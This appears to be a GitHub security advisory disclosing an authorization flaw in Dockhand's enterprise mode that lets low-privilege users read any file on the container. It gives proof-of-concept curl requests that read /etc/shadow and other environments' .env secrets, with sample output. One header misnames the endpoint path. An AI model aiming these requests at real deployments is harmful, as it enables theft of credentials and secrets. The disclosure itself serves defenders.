dockhand: Arbitrary File Read via Unscoped Path in /api/system/files/content
What fixes it
No source in this snapshot names a fixed version.
Description
Summary
An arbitrary file read vulnerability in Dockhand's enterprise RBAC mode allows a non-admin user who holds the low-privilege stacks:edit permission to read any file on the Dockhand container's filesystem — including /etc/shadow, /etc/passwd, and the Compose/.env secrets of stacks and environments the user has no access to, plus cloned git credentials. The endpoint performs a global permission check only (stacks:edit) with no environment scoping, so a user granted that role to manage one stack can exfiltrate data belonging to other environments/containers. Severity: Medium (CVSS 6.5) in enterprise RBAC; not a vulnerability in the free edition (where every authenticated user is admin).
Details
There are two file-access endpoints with different authorization behaviors:
**Endpoint A — GET /api/containers/{id}/files/files — reads any chosen container, but is environment-scoped.** src/routes/api/containers/[id]/files/content/+server.ts reads a file from a specific container chosen by the caller:
export const GET: RequestHandler = async ({ params, url, cookies }) => {
const invalid = validateDockerIdParam(params.id, 'container'); // container id/name
if (invalid) return invalid;
const auth = await authorize(cookies);
const path = url.searchParams.get('path');
const envId = url.searchParams.get('env');
const envIdNum = envId ? parseInt(envId) : undefined;
// Permission check WITH environment context (envId is passed)
if (auth.authEnabled && !await auth.can('containers', 'view', envIdNum)) {
return json({ error: 'Permission denied' }, { status: 403 });
}
const content = await readContainerFile(params.id, path, envIdNum); // Docker API read
return json({ content, path });
};This endpoint **passes envId** to auth.can('containers','view', envIdNum), so it respects per-environment RBAC via getUserPermissionsForEnvironment. A user who cannot access environment 2 cannot read containers in environment 2 through this route.
Endpoint B GET /api/system/files/files — reads the Dockhand container filesystem, NOT environment-scoped.
src/routes/api/system/files/content/+server.ts:
export const GET: RequestHandler = async ({ url, cookies }) => {
const auth = await authorize(cookies);
// The ONLY gate: the caller must hold the GLOBAL `stacks:edit` permission.
// NO environmentId is passed, so there is NO per-environment authorization.
if (auth.authEnabled && !await auth.can('stacks', 'edit')) {
return json({ error: 'Permission denied' }, { status: 403 });
}
const path = url.searchParams.get('path');
if (!path) return json({ error: 'Path is required' }, { status: 400 });
if (isProtectedPath(path)) return json({ error: 'Access denied' }, { status: 403 });
const content = readFileSync(path, 'utf-8'); // reads ANY absolute path
return json({ path, content, size: stat.size, mtime: stat.mtime.toISOString() });
};This endpoint calls auth.can('stacks', 'edit') with **no environmentId**. Because checkPermission (src/lib/server/auth.ts:390) only scopes by environment when an environmentId is passed, this check falls back to the user's global permissions (user.permissions, auth.ts:409).
**Why a non-admin can hold global stacks:edit.** In enterprise RBAC, an admin creates custom roles with arbitrary permissions and scoping (src/routes/api/roles/+server.ts:71-76), and createRole stores environmentIds: null for a global role (src/lib/server/db.ts:1620-1627). getUserPermissionsById (src/lib/server/auth.ts:332) then merges the permissions of ALL the user's roles into a single global user.permissions — without filtering by environment. So a user whose role grants stacks:edit only for environment 1 still has stacks:edit in their global user.permissions.
The scope violation. Dockhand's UI hides environments the user cannot access (using getUserAccessibleEnvironments), so the user does not see other environments/containers. But Endpoint B never consults that function — it only checks the global user.permissions.stacks and reads an arbitrary absolute path. As a result a non-admin with stacks:edit (even scoped to one environment) can read:
/etc/shadow,/etc/passwdon the Dockhand container;- other environments' stack
compose.yamland.envfiles (/app/data/stacks/<other-stack>/...) — DB passwords, API keys, secrets; - cloned git repositories (
/app/data/git-repos/...) — credentials/tokens.
The only paths blocked are $DATA_DIR/db, $DATA_DIR/.encryption_key, and everything under /proc (src/lib/server/fs-guard.ts); everything else on the Dockhand filesystem is readable. safeResolve also defeats ../symlink tricks into protected locations, so the bypass is via the over-broad authorization scope, not path traversal.
The fix is to scope Endpoint B's reads to the stack directory the user is authorized for, and require stacks:edit plus environment access to that stack.
PoC
Verified against the running instance (http://localhost:3000, authenticated as admin, admin session cookie in cookies.txt). The same endpoints in enterprise RBAC are reachable by any non-admin user holding the relevant global permission.
Endpoint A — read a file from ANY container you choose (container-scoped read):
# Choose the container by ID (or name), the file by path, the environment by env.
# Here: read /etc/passwd from the "sysreptor-app" container (a different container).
curl -s -b cookies.txt \
'http://localhost:3000/api/containers/<CONTAINER_ID>/files/content?path=/etc/passwd&env=1'
# → {"content":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...","path":"/etc/passwd"}
# Same via container NAME
curl -s -b cookies.txt \
'http://localhost:3000/api/containers/dockhand/files/content?path=/etc/hostname&env=1'
# → {"content":"6767c62a680f\n","path":"/etc/hostname"}(Live-verified: I read /etc/passwd from both the dockhand and sysreptor-app containers via this endpoint.)
Endpoint B — read any file on the Dockhand filesystem (NOT environment-scoped):
# Read /etc/shadow — only stacks:edit required, no container/environment access needed
curl -s -b cookies.txt \
'http://localhost:3000/api/system/files/content?path=/etc/shadow'
# → {"path":"/etc/shadow","content":"root:*::0:::::\nbin:!::0:::::\n...","size":...,"mtime":"..."}
# Read ANOTHER environment's stack secrets (authorization-scope violation)
curl -s -b cookies.txt \
'http://localhost:3000/api/system/files/content?path=/app/data/stacks/other-env-stack/.env'
# → returns the .env contents (DB password, API keys) — the caller has no access to that environmentProtected paths are correctly denied (no traversal bypass found):
curl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/app/data/.encryption_key' # → Access denied curl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/app/data/db/dockhand.db' # → Access denied curl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/proc/self/environ' # → Access denied
Impact
- Vulnerability type: Improper Access Control / authorization-scope violation leading to arbitrary file read (over-broad permission, no environment scoping).
- Attack surface: remote; requires an authenticated account with the **global
stacks:editpermission. In enterprise RBAC this is a non-admin role; the user does not** need access to the target environment/container (the UI hides those environments, but the endpoint reads them anyway). - Severity: Medium (CVSS 6.5) in enterprise RBAC. Not applicable in the free edition (every authenticated user is admin and already has full Docker access via the mounted socket).
- Who is impacted: enterprise RBAC deployments where a non-admin role is granted
stacks:edit(even scoped to a single environment). Those users can read arbitrary files on the Dockhand container —/etc/shadow, other environments' stack/.envsecrets (DB credentials, API keys), and cloned git credentials — bypassing the intended per-environment authorization boundary.
Text from GitHub Advisory Database
Affected versions 1
- dockhand<= v1.0.45GitHub